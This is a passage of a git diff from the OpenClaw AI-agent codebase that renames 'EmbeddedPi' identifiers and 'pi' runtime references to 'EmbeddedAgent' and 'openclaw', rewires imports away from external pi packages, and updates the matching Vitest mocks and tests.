expect(steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("continues as a normal prompt when no current session run is active", async () => { @@ -127,12 +127,12 @@ describe("handleSteerCommand", () => { expect(params.ctx.BodyForAgent).toBe("keep going"); expect((params.ctx as Record).BodyStripped).toBe("keep going"); expect(params.command.commandBodyNormalized).toBe("keep going"); - expect(steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("continues as a normal prompt when the active run rejects steering injection", async () => { steerRuntimeMocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("session-active"); - steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync.mockResolvedValue({ + steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync.mockResolvedValue({ queued: false, sessionId: "session-active", reason: "not_streaming", @@ -147,7 +147,7 @@ describe("handleSteerCommand", () => { }); expect(params.ctx.BodyForAgent).toBe("keep going"); expect(params.command.commandBodyNormalized).toBe("keep going"); - expect(steerRuntimeMocks.formatEmbeddedPiQueueFailureSummary).toHaveBeenCalledWith({ + expect(steerRuntimeMocks.formatEmbeddedAgentQueueFailureSummary).toHaveBeenCalledWith({ queued: false, sessionId: "session-active", reason: "not_streaming", @@ -157,7 +157,7 @@ describe("handleSteerCommand", () => { it("continues as a normal prompt when steering throws", async () => { steerRuntimeMocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("session-active"); - steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync.mockRejectedValue( + steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync.mockRejectedValue( new Error("socket closed"), ); @@ -173,7 +173,7 @@ describe("handleSteerCommand", () => { it("continues as a normal prompt when the active run is compacting", async () => { steerRuntimeMocks.resolveActiveEmbeddedRunSessionId.mockReturnValue("session-active"); - steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync.mockResolvedValue({ + steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync.mockResolvedValue({ queued: false, sessionId: "session-active", reason: "compacting", diff --git a/src/auto-reply/reply/commands-steer.ts b/src/auto-reply/reply/commands-steer.ts index d97b36743a8..2de05b42048 100644 --- a/src/auto-reply/reply/commands-steer.ts +++ b/src/auto-reply/reply/commands-steer.ts @@ -8,9 +8,9 @@ import { normalizeOptionalString } from "../../shared/string-coerce.js"; import { isNativeCommandTurn, resolveCommandTurnContext } from "../command-turn-context.js"; import { rejectUnauthorizedCommand } from "./command-gates.js"; import { - formatEmbeddedPiQueueFailureSummary, - isEmbeddedPiRunActive, - queueEmbeddedPiMessageWithOutcomeAsync, + formatEmbeddedAgentQueueFailureSummary, + isEmbeddedAgentRunActive, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, } from "./commands-steer.runtime.js"; import type { @@ -67,7 +67,7 @@ function resolveSteerSessionId(params: { const entry = resolveStoredSessionEntry(params.commandParams, params.targetSessionKey); const sessionId = normalizeOptionalString(entry?.sessionId); - if (!sessionId || !isEmbeddedPiRunActive(sessionId)) { + if (!sessionId || !isEmbeddedAgentRunActive(sessionId)) { return undefined; } return sessionId; @@ -139,7 +139,7 @@ export const handleSteerCommand: CommandHandler = async (params, allowTextComman ); } - const queueOutcome = await queueEmbeddedPiMessageWithOutcomeAsync(sessionId, message, { + const queueOutcome = await queueEmbeddedAgentMessageWithOutcomeAsync(sessionId, message, { steeringMode: "all", debounceMs: 0, }).catch((err: unknown): CommandHandlerResult => { @@ -153,7 +153,7 @@ export const handleSteerCommand: CommandHandler = async (params, allowTextComman return queueOutcome; } if (!queueOutcome.queued) { - const summary = formatEmbeddedPiQueueFailureSummary(queueOutcome); + const summary = formatEmbeddedAgentQueueFailureSummary(queueOutcome); return continueWithSteerFallback( params, message, diff --git a/src/auto-reply/reply/commands-stop-target.test.ts b/src/auto-reply/reply/commands-stop-target.test.ts index dfc9f8d3ddd..5530ec87c32 100644 --- a/src/auto-reply/reply/commands-stop-target.test.ts +++ b/src/auto-reply/reply/commands-stop-target.test.ts @@ -12,15 +12,15 @@ import { handleStopCommand } from "./commands-session-abort.js"; import "./commands-session-abort.test-support.js"; import type { HandleCommandsParams } from "./commands-types.js"; -const abortEmbeddedPiRunMock = vi.hoisted(() => vi.fn()); +const abortEmbeddedAgentRunMock = vi.hoisted(() => vi.fn()); const createInternalHookEventMock = vi.hoisted(() => vi.fn(() => ({}))); const persistAbortTargetEntryMock = vi.hoisted(() => vi.fn(async () => true)); const resolveSessionIdMock = vi.hoisted(() => vi.fn(() => undefined)); const stopSubagentsForRequesterMock = vi.hoisted(() => vi.fn(() => ({ stopped: 0 }))); const abortSessionRunTargetMock = vi.hoisted(() => vi.fn()); -vi.mock("../../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: abortEmbeddedPiRunMock, +vi.mock("../../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: abortEmbeddedAgentRunMock, })); vi.mock("../../globals.js", () => ({ @@ -156,7 +156,7 @@ describe("handleStopCommand target fallback", () => { key: "agent:target:telegram:direct:123", sessionId: undefined, }); - expect(abortEmbeddedPiRunMock).not.toHaveBeenCalledWith("wrapper-session-id"); + expect(abortEmbeddedAgentRunMock).not.toHaveBeenCalledWith("wrapper-session-id"); const [[persistAbortTargetParams]] = persistAbortTargetEntryMock.mock.calls as unknown as Array< [ { diff --git a/src/auto-reply/reply/commands-system-prompt.test.ts b/src/auto-reply/reply/commands-system-prompt.test.ts index 922dd599a9d..081038961b7 100644 --- a/src/auto-reply/reply/commands-system-prompt.test.ts +++ b/src/auto-reply/reply/commands-system-prompt.test.ts @@ -1,7 +1,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import { resolveSessionAgentIds } from "../../agents/agent-scope.js"; +import { createOpenClawCodingTools } from "../../agents/agent-tools.js"; import { resolveBootstrapContextForRun } from "../../agents/bootstrap-files.js"; -import { createOpenClawCodingTools } from "../../agents/pi-tools.js"; import { resolveSandboxRuntimeStatus } from "../../agents/sandbox.js"; import { buildAgentSystemPrompt } from "../../agents/system-prompt.js"; import { resolveCommandsSystemPromptBundle } from "./commands-system-prompt.js"; @@ -52,7 +52,7 @@ vi.mock("../../agents/system-prompt.js", () => ({ buildAgentSystemPrompt: vi.fn(() => "system prompt"), })); -vi.mock("../../agents/pi-tools.js", () => ({ +vi.mock("../../agents/agent-tools.js", () => ({ createOpenClawCodingTools: createOpenClawCodingToolsMock, })); diff --git a/src/auto-reply/reply/commands-system-prompt.ts b/src/auto-reply/reply/commands-system-prompt.ts index 895446f2bce..cd1ff12ac1e 100644 --- a/src/auto-reply/reply/commands-system-prompt.ts +++ b/src/auto-reply/reply/commands-system-prompt.ts @@ -1,13 +1,13 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; import { isAcpRuntimeSpawnAvailable } from "../../acp/runtime/availability.js"; import { resolveSessionAgentIds } from "../../agents/agent-scope.js"; +import { createOpenClawCodingTools } from "../../agents/agent-tools.js"; import { resolveBootstrapContextForRun } from "../../agents/bootstrap-files.js"; +import type { EmbeddedContextFile } from "../../agents/embedded-agent-helpers.js"; +import { resolveEmbeddedFullAccessState } from "../../agents/embedded-agent-runner/sandbox-info.js"; import { canExecRequestNode } from "../../agents/exec-defaults.js"; import { resolveDefaultModelForAgent } from "../../agents/model-selection.js"; -import type { EmbeddedContextFile } from "../../agents/pi-embedded-helpers.js"; -import { resolveEmbeddedFullAccessState } from "../../agents/pi-embedded-runner/sandbox-info.js"; -import { createOpenClawCodingTools } from "../../agents/pi-tools.js"; import { resolveAgentPromptSurfaceForSessionKey } from "../../agents/prompt-surface.js"; +import type { AgentTool } from "../../agents/runtime/index.js"; import { resolveSandboxRuntimeStatus } from "../../agents/sandbox.js"; import { buildWorkspaceSkillSnapshot } from "../../agents/skills.js"; import { getSkillsSnapshotVersion } from "../../agents/skills/refresh-state.js"; diff --git a/src/auto-reply/reply/commands-types.ts b/src/auto-reply/reply/commands-types.ts index c22be8a57e6..662dfa38827 100644 --- a/src/auto-reply/reply/commands-types.ts +++ b/src/auto-reply/reply/commands-types.ts @@ -1,4 +1,4 @@ -import type { BlockReplyChunking } from "../../agents/pi-embedded-block-chunker.js"; +import type { BlockReplyChunking } from "../../agents/embedded-agent-block-chunker.js"; import type { SkillCommandSpec } from "../../agents/skills.js"; import type { ChannelId } from "../../channels/plugins/types.public.js"; import type { SessionEntry, SessionScope } from "../../config/sessions.js"; diff --git a/src/auto-reply/reply/conversation-label-generator.test.ts b/src/auto-reply/reply/conversation-label-generator.test.ts index a0f4127c1eb..6f8e6e60679 100644 --- a/src/auto-reply/reply/conversation-label-generator.test.ts +++ b/src/auto-reply/reply/conversation-label-generator.test.ts @@ -8,9 +8,9 @@ const resolveDefaultModelForAgent = vi.hoisted(() => vi.fn()); const resolveModelAsync = vi.hoisted(() => vi.fn()); const prepareModelForSimpleCompletion = vi.hoisted(() => vi.fn()); -vi.mock("@earendil-works/pi-ai", async () => { +vi.mock("../../llm/stream.js", async () => { const original = - await vi.importActual("@earendil-works/pi-ai"); + await vi.importActual("../../llm/stream.js"); return { ...original, completeSimple, @@ -25,7 +25,7 @@ vi.mock("../../agents/model-selection.js", () => ({ resolveDefaultModelForAgent, })); -vi.mock("../../agents/pi-embedded-runner/model.js", () => ({ +vi.mock("../../agents/embedded-agent-runner/model.js", () => ({ resolveModelAsync, })); diff --git a/src/auto-reply/reply/conversation-label-generator.ts b/src/auto-reply/reply/conversation-label-generator.ts index 9b97a4bf72e..d8deb0a1735 100644 --- a/src/auto-reply/reply/conversation-label-generator.ts +++ b/src/auto-reply/reply/conversation-label-generator.ts @@ -1,10 +1,11 @@ -import { completeSimple, type TextContent } from "@earendil-works/pi-ai"; +import { resolveModelAsync } from "../../agents/embedded-agent-runner/model.js"; import { requireApiKey } from "../../agents/model-auth.js"; import { resolveDefaultModelForAgent } from "../../agents/model-selection.js"; -import { resolveModelAsync } from "../../agents/pi-embedded-runner/model.js"; import { prepareModelForSimpleCompletion } from "../../agents/simple-completion-transport.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { logVerbose } from "../../globals.js"; +import { completeSimple } from "../../llm/stream.js"; +import type { TextContent } from "../../llm/types.js"; import { getRuntimeAuthForModel } from "../../plugins/runtime/runtime-model-auth.runtime.js"; const DEFAULT_MAX_LABEL_LENGTH = 128; diff --git a/src/auto-reply/reply/current-turn-images.ts b/src/auto-reply/reply/current-turn-images.ts index fbb551010cb..d511885e5c2 100644 --- a/src/auto-reply/reply/current-turn-images.ts +++ b/src/auto-reply/reply/current-turn-images.ts @@ -1,7 +1,7 @@ -import type { ImageContent } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { logVerbose } from "../../globals.js"; import { formatErrorMessage } from "../../infra/errors.js"; +import type { ImageContent } from "../../llm/types.js"; import { mimeTypeFromFilePath } from "../../media/mime.js"; import type { PromptImageOrderEntry } from "../../media/prompt-image-order.js"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; @@ -126,7 +126,7 @@ export async function resolveCurrentTurnImages(params: { ); if (images.length < undescribedImageAttachments.length) { logVerbose( - `agent-runner: native PI media resolution produced ${images.length}/${undescribedImageAttachments.length} current image attachment(s); falling back to prompt image refs`, + `agent-runner: native OpenClaw media resolution produced ${images.length}/${undescribedImageAttachments.length} current image attachment(s); falling back to prompt image refs`, ); return { images: params.images, imageOrder: params.imageOrder }; } diff --git a/src/auto-reply/reply/directive-handling.model-picker.test.ts b/src/auto-reply/reply/directive-handling.model-picker.test.ts index b426d7237e1..382bb7407ff 100644 --- a/src/auto-reply/reply/directive-handling.model-picker.test.ts +++ b/src/auto-reply/reply/directive-handling.model-picker.test.ts @@ -5,17 +5,20 @@ import { } from "./directive-handling.model-picker.js"; describe("directive-handling.model-picker", () => { - it("dedupes provider aliases when building picker items", () => { + it("preserves distinct provider ids when building picker items", () => { expect( buildModelPickerItems([ { provider: "z.ai", id: "glm-5" }, { provider: "z-ai", id: "glm-5" }, ]), - ).toEqual([{ provider: "zai", model: "glm-5" }]); + ).toEqual([ + { provider: "z-ai", model: "glm-5" }, + { provider: "z.ai", model: "glm-5" }, + ]); }); - it("matches provider endpoint labels across canonical aliases", () => { - const result = resolveProviderEndpointLabel("z-ai", { + it("matches provider endpoint labels for exact provider ids", () => { + const result = resolveProviderEndpointLabel("z.ai", { models: { providers: { "z.ai": { diff --git a/src/auto-reply/reply/directive-handling.model.test.ts b/src/auto-reply/reply/directive-handling.model.test.ts index 9db8bbf9837..0052a58077b 100644 --- a/src/auto-reply/reply/directive-handling.model.test.ts +++ b/src/auto-reply/reply/directive-handling.model.test.ts @@ -701,7 +701,7 @@ describe("/model chat UX", () => { expect(reply?.text).not.toContain("via codex runtime"); }); - it("does not borrow Codex auth when OpenAI model policy pins PI runtime", async () => { + it("does not borrow Codex auth when OpenAI model policy pins OpenClaw runtime", async () => { setAuthProfiles({ "openai-codex:patrick@example.test": { type: "oauth", @@ -725,7 +725,7 @@ describe("/model chat UX", () => { model: { primary: "openai/gpt-5.5" }, models: { "openai/gpt-5.5": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -1086,7 +1086,7 @@ describe("/model chat UX", () => { const { sessionEntry } = await persistModelDirectiveForTest({ command: "/model openai/gpt-4o --runtime claude-cli hello", allowedModelKeys: ["openai/gpt-4o"], - sessionEntry: createSessionEntry({ agentRuntimeOverride: "pi" }), + sessionEntry: createSessionEntry({ agentRuntimeOverride: "openclaw" }), provider: "openai", model: "gpt-4o", initialModelLabel: "openai/gpt-4o", diff --git a/src/auto-reply/reply/directive-handling.persist.ts b/src/auto-reply/reply/directive-handling.persist.ts index 6e34c83ab56..38a3d4677b0 100644 --- a/src/auto-reply/reply/directive-handling.persist.ts +++ b/src/auto-reply/reply/directive-handling.persist.ts @@ -3,9 +3,9 @@ import { resolveDefaultAgentId, resolveSessionAgentId, } from "../../agents/agent-scope.js"; +import { resolveCliRuntimeModelBackendBinding } from "../../agents/cli-backends.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import type { ModelCatalogEntry } from "../../agents/model-catalog.js"; -import { listLegacyRuntimeModelProviderAliases } from "../../agents/model-runtime-aliases.js"; import { normalizeProviderId, type ModelAliasIndex } from "../../agents/model-selection.js"; import { resolveContextConfigProviderForRuntime } from "../../agents/openai-codex-routing.js"; import { updateSessionStore } from "../../config/sessions/store.js"; @@ -38,6 +38,7 @@ const MODEL_RUNTIME_CLEAR_VALUES = new Set(["auto", "default"]); function resolveModelRuntimeOverride(params: { rawRuntime?: string; provider: string; + cfg: OpenClawConfig; }): | { kind: "clear" } | { kind: "set"; runtime: string } @@ -52,19 +53,21 @@ function resolveModelRuntimeOverride(params: { if (MODEL_RUNTIME_CLEAR_VALUES.has(runtime)) { return { kind: "clear" }; } - if (runtime === "pi") { - return { kind: "set", runtime: "pi" }; + if (runtime === "openclaw") { + return { kind: "set", runtime: "openclaw" }; + } + if (normalizeProviderId(params.provider) === "openai" && runtime === "codex") { + return { kind: "set", runtime: "codex" }; } const provider = normalizeProviderId(params.provider); - for (const alias of listLegacyRuntimeModelProviderAliases()) { - if (normalizeProviderId(alias.provider) !== provider) { - continue; - } - const aliasRuntime = normalizeProviderId(alias.runtime); - if (runtime === aliasRuntime || (aliasRuntime === "codex" && runtime === "codex-app-server")) { - return { kind: "set", runtime: alias.runtime }; - } + const backend = resolveCliRuntimeModelBackendBinding({ + config: params.cfg, + provider, + runtime, + }); + if (backend) { + return { kind: "set", runtime: backend.runtime }; } return { kind: "invalid", runtime: rawRuntime }; @@ -263,6 +266,7 @@ export async function persistInlineDirectives(params: { const runtimeOverride = resolveModelRuntimeOverride({ rawRuntime: directives.rawModelRuntime, provider: modelResolution.modelSelection.provider, + cfg, }); if (runtimeOverride?.kind === "clear") { if (sessionEntry.agentRuntimeOverride) { diff --git a/src/auto-reply/reply/dispatch-from-config.shared.test-harness.ts b/src/auto-reply/reply/dispatch-from-config.shared.test-harness.ts index 59213c78253..57fc5c524c8 100644 --- a/src/auto-reply/reply/dispatch-from-config.shared.test-harness.ts +++ b/src/auto-reply/reply/dispatch-from-config.shared.test-harness.ts @@ -253,7 +253,7 @@ vi.mock("../../infra/agent-events.js", () => ({ emitAgentEvent: (params: unknown) => agentEventMocks.emitAgentEvent(params), onAgentEvent: (listener: unknown) => agentEventMocks.onAgentEvent(listener), })); -vi.mock("./runtime-plugins.runtime.js", () => ({ +vi.mock("../../plugins/runtime-plugins.runtime.js", () => ({ ensureRuntimePluginsLoaded: runtimePluginMocks.ensureRuntimePluginsLoaded, })); vi.mock("./conversation-binding-input.js", () => { diff --git a/src/auto-reply/reply/dispatch-from-config.test.ts b/src/auto-reply/reply/dispatch-from-config.test.ts index bf50b3a3cb7..37df79a317a 100644 --- a/src/auto-reply/reply/dispatch-from-config.test.ts +++ b/src/auto-reply/reply/dispatch-from-config.test.ts @@ -499,7 +499,7 @@ vi.mock("./reply-media-paths.runtime.js", () => ({ createReplyMediaPathNormalizer: (params: unknown) => replyMediaPathMocks.createReplyMediaPathNormalizer(params), })); -vi.mock("./runtime-plugins.runtime.js", () => ({ +vi.mock("../../plugins/runtime-plugins.runtime.js", () => ({ ensureRuntimePluginsLoaded: runtimePluginMocks.ensureRuntimePluginsLoaded, })); vi.mock("./conversation-binding-input.js", () => ({ diff --git a/src/auto-reply/reply/dispatch-from-config.ts b/src/auto-reply/reply/dispatch-from-config.ts index 1bf154a3688..3d19902e7f1 100644 --- a/src/auto-reply/reply/dispatch-from-config.ts +++ b/src/auto-reply/reply/dispatch-from-config.ts @@ -9,6 +9,13 @@ import { resolveAgentWorkspaceDir, resolveSessionAgentId, } from "../../agents/agent-scope.js"; +import { + isToolAllowedByPolicies, + resolveEffectiveToolPolicy, + resolveGroupToolPolicy, + resolveInheritedToolPolicyForSession, + resolveSubagentToolPolicyForSession, +} from "../../agents/agent-tools.policy.js"; import { selectAgentHarness } from "../../agents/harness/selection.js"; import { buildModelAliasIndex, @@ -16,13 +23,6 @@ import { resolveModelRefFromString, type ModelAliasIndex, } from "../../agents/model-selection.js"; -import { - isToolAllowedByPolicies, - resolveEffectiveToolPolicy, - resolveGroupToolPolicy, - resolveInheritedToolPolicyForSession, - resolveSubagentToolPolicyForSession, -} from "../../agents/pi-tools.policy.js"; import { isSubagentEnvelopeSession, resolveSubagentCapabilityStore, @@ -194,7 +194,9 @@ const getReplyFromConfigRuntimeLoader = createLazyImportLoader( ); const abortRuntimeLoader = createLazyImportLoader(() => import("./abort.runtime.js")); const ttsRuntimeLoader = createLazyImportLoader(() => import("../../tts/tts.runtime.js")); -const runtimePluginsLoader = createLazyImportLoader(() => import("./runtime-plugins.runtime.js")); +const runtimePluginsLoader = createLazyImportLoader( + () => import("../../plugins/runtime-plugins.runtime.js"), +); const replyMediaPathsRuntimeLoader = createLazyImportLoader( () => import("./reply-media-paths.runtime.js"), ); diff --git a/src/auto-reply/reply/export-html/template.js b/src/auto-reply/reply/export-html/template.js index 574221e93ea..a27a201ce32 100644 --- a/src/auto-reply/reply/export-html/template.js +++ b/src/auto-reply/reply/export-html/template.js @@ -20,7 +20,7 @@ // Parse URL parameters for deep linking: leafId and targetId // Check for injected params (when loaded in iframe via srcdoc) or use window.location - const injectedParams = document.querySelector('meta[name="pi-url-params"]'); + const injectedParams = document.querySelector('meta[name="openclaw-url-params"]'); const searchString = injectedParams ? injectedParams.content : window.location.search.substring(1); @@ -1241,7 +1241,7 @@ */ function buildShareUrl(entryId) { // Check for injected base URL (used when loaded in iframe via srcdoc) - const baseUrlMeta = document.querySelector('meta[name="pi-share-base-url"]'); + const baseUrlMeta = document.querySelector('meta[name="openclaw-share-base-url"]'); const baseUrl = baseUrlMeta ? baseUrlMeta.content : window.location.href.split("?")[0]; const url = new URL(window.location.href); diff --git a/src/auto-reply/reply/followup-delivery.ts b/src/auto-reply/reply/followup-delivery.ts index a2ecc1d192b..46f8c2333c5 100644 --- a/src/auto-reply/reply/followup-delivery.ts +++ b/src/auto-reply/reply/followup-delivery.ts @@ -1,4 +1,4 @@ -import type { MessagingToolSend } from "../../agents/pi-embedded-messaging.types.js"; +import type { MessagingToolSend } from "../../agents/embedded-agent-messaging.types.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { stripHeartbeatToken } from "../heartbeat.js"; import type { OriginatingChannelType } from "../templating.js"; diff --git a/src/auto-reply/reply/followup-runner.test.ts b/src/auto-reply/reply/followup-runner.test.ts index 33a3c159bb2..4ae71f2ea69 100644 --- a/src/auto-reply/reply/followup-runner.test.ts +++ b/src/auto-reply/reply/followup-runner.test.ts @@ -11,10 +11,10 @@ import { } from "../../sessions/user-turn-transcript.js"; import type { FollowupRun, QueueSettings } from "./queue.js"; -const runEmbeddedPiAgentMock = vi.fn(); +const runEmbeddedAgentMock = vi.fn(); const runCliAgentMock = vi.fn(); const runWithModelFallbackMock = vi.fn(); -const compactEmbeddedPiSessionMock = vi.fn(); +const compactEmbeddedAgentSessionMock = vi.fn(); const routeReplyMock = vi.fn(); const isRoutableChannelMock = vi.fn(); const runPreflightCompactionIfNeededMock = vi.fn(); @@ -351,15 +351,15 @@ async function loadFreshFollowupRunnerModuleForTest() { })), resolveSessionLockMaxHoldFromTimeout: vi.fn(() => 1), })); - vi.doMock("../../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn(async () => false), - compactEmbeddedPiSession: (params: unknown) => compactEmbeddedPiSessionMock(params), - isEmbeddedPiRunActive: vi.fn(() => false), - isEmbeddedPiRunStreaming: vi.fn(() => false), - queueEmbeddedPiMessage: vi.fn(async () => undefined), + vi.doMock("../../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn(async () => false), + compactEmbeddedAgentSession: (params: unknown) => compactEmbeddedAgentSessionMock(params), + isEmbeddedAgentRunActive: vi.fn(() => false), + isEmbeddedAgentRunStreaming: vi.fn(() => false), + queueEmbeddedAgentMessage: vi.fn(async () => undefined), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - runEmbeddedPiAgent: (params: unknown) => runEmbeddedPiAgentMock(params), - waitForEmbeddedPiRunEnd: vi.fn(async () => undefined), + runEmbeddedAgent: (params: unknown) => runEmbeddedAgentMock(params), + waitForEmbeddedAgentRunEnd: vi.fn(async () => undefined), })); vi.doMock("../../agents/cli-runner.js", () => ({ runCliAgent: (params: unknown) => runCliAgentMock(params), @@ -471,7 +471,7 @@ beforeAll(async () => { beforeEach(() => { replyRunTestingForTest?.resetReplyRunRegistry(); clearRuntimeConfigSnapshot?.(); - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); runCliAgentMock.mockReset(); runWithModelFallbackMock.mockReset(); runWithModelFallbackMock.mockImplementation( @@ -489,7 +489,7 @@ beforeEach(() => { model: params.model, }), ); - compactEmbeddedPiSessionMock.mockReset(); + compactEmbeddedAgentSessionMock.mockReset(); runPreflightCompactionIfNeededMock.mockReset(); resolveCommandSecretRefsViaGatewayMock.mockReset(); resolveQueuedReplyExecutionConfigMock.mockReset(); @@ -566,7 +566,7 @@ describe("createFollowupRunner reply-lane admission", () => { MediaPath: "/tmp/image.png", MediaType: "image/png", } as never; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "done" }], meta: {}, }); @@ -587,8 +587,8 @@ describe("createFollowupRunner reply-lane admission", () => { }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); const recorder = requireRecord(call.userTurnTranscriptRecorder, "embedded user turn recorder"); expect(recorder.message).toBe(preparedUserTurnMessage); }); @@ -600,7 +600,7 @@ describe("createFollowupRunner reply-lane admission", () => { resetTriggered: false, }); active.setPhase("preflight_compacting"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: { agentMeta: { provider: "anthropic", model: "claude" } }, }); @@ -640,7 +640,7 @@ describe("createFollowupRunner reply-lane admission", () => { active.complete(); await pending; - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.sessionId).toBe("post-compact-session"); expect(call.sessionFile).toBe("/tmp/post-compact.jsonl"); }); @@ -658,7 +658,7 @@ function mockCompactionRun(params: { meta: Record; }; }) { - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => void; }) => { @@ -688,7 +688,7 @@ describe("createFollowupRunner auto fallback primary probes", () => { modelOverrideFallbackOriginModel: "claude", }; const sessionStore = { [sessionKey]: sessionEntry }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: { agentMeta: { provider: "anthropic", model: "claude" } }, }); @@ -718,7 +718,7 @@ describe("createFollowupRunner auto fallback primary probes", () => { }), ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.provider).toBe("anthropic"); expect(call.model).toBe("claude"); expect(sessionEntry.providerOverride).toBeUndefined(); @@ -752,7 +752,7 @@ describe("createFollowupRunner auto fallback primary probes", () => { const sessionStore = { [sessionKey]: sessionEntry }; const { markAutoFallbackPrimaryProbe } = await import("../../agents/agent-scope.js"); markAutoFallbackPrimaryProbe({ probe, sessionKey }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: { agentMeta: { provider: "openai", model: "gpt-5.4" } }, }); @@ -787,7 +787,7 @@ describe("createFollowupRunner auto fallback primary probes", () => { }), ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.provider).toBe("openai"); expect(call.model).toBe("gpt-5.4"); expect(call.authProfileId).toBe("openai:fallback"); @@ -854,7 +854,7 @@ describe("createFollowupRunner runtime config", () => { }), ); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(runCliAgentMock).toHaveBeenCalledTimes(1); const call = requireLastMockCallArg(runCliAgentMock, "run cli agent"); expect(call.provider).toBe("claude-cli"); @@ -958,7 +958,7 @@ describe("createFollowupRunner runtime config", () => { }, ); runCliAgentMock.mockRejectedValueOnce(new Error("cli failed")); - runEmbeddedPiAgentMock.mockImplementationOnce(async (params: { runId: string }) => { + runEmbeddedAgentMock.mockImplementationOnce(async (params: { runId: string }) => { realAgentEvents.emitAgentEvent({ runId: params.runId, stream: "lifecycle", @@ -1000,8 +1000,8 @@ describe("createFollowupRunner runtime config", () => { } expect(runCliAgentMock).toHaveBeenCalledTimes(1); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const embeddedCall = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const embeddedCall = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(embeddedCall.suppressAssistantErrorPersistence).toBe(false); expect(lifecyclePhases).toEqual(["start", "start", "end"]); }); @@ -1034,7 +1034,7 @@ describe("createFollowupRunner runtime config", () => { }, }; setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1055,7 +1055,7 @@ describe("createFollowupRunner runtime config", () => { }), ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.config).toBe(runtimeConfig); }); @@ -1083,7 +1083,7 @@ describe("createFollowupRunner runtime config", () => { }), ); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(onBlockReply).not.toHaveBeenCalled(); expect(typing.markRunComplete).toHaveBeenCalledTimes(1); expect(typing.markDispatchIdle).toHaveBeenCalledTimes(1); @@ -1091,7 +1091,7 @@ describe("createFollowupRunner runtime config", () => { it("passes the admitted reply abort signal into followup fallback and agent runs", async () => { const abortController = new AbortController(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1117,7 +1117,7 @@ describe("createFollowupRunner runtime config", () => { runWithModelFallbackMock, "run with model fallback", ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(fallbackCall.abortSignal).toBeInstanceOf(AbortSignal); expect(fallbackCall.abortSignal).not.toBe(abortController.signal); expect(call.abortSignal).toBe(fallbackCall.abortSignal); @@ -1126,7 +1126,7 @@ describe("createFollowupRunner runtime config", () => { it("does not inherit source abort signals for queued user followups", async () => { const sourceAbortController = new AbortController(); 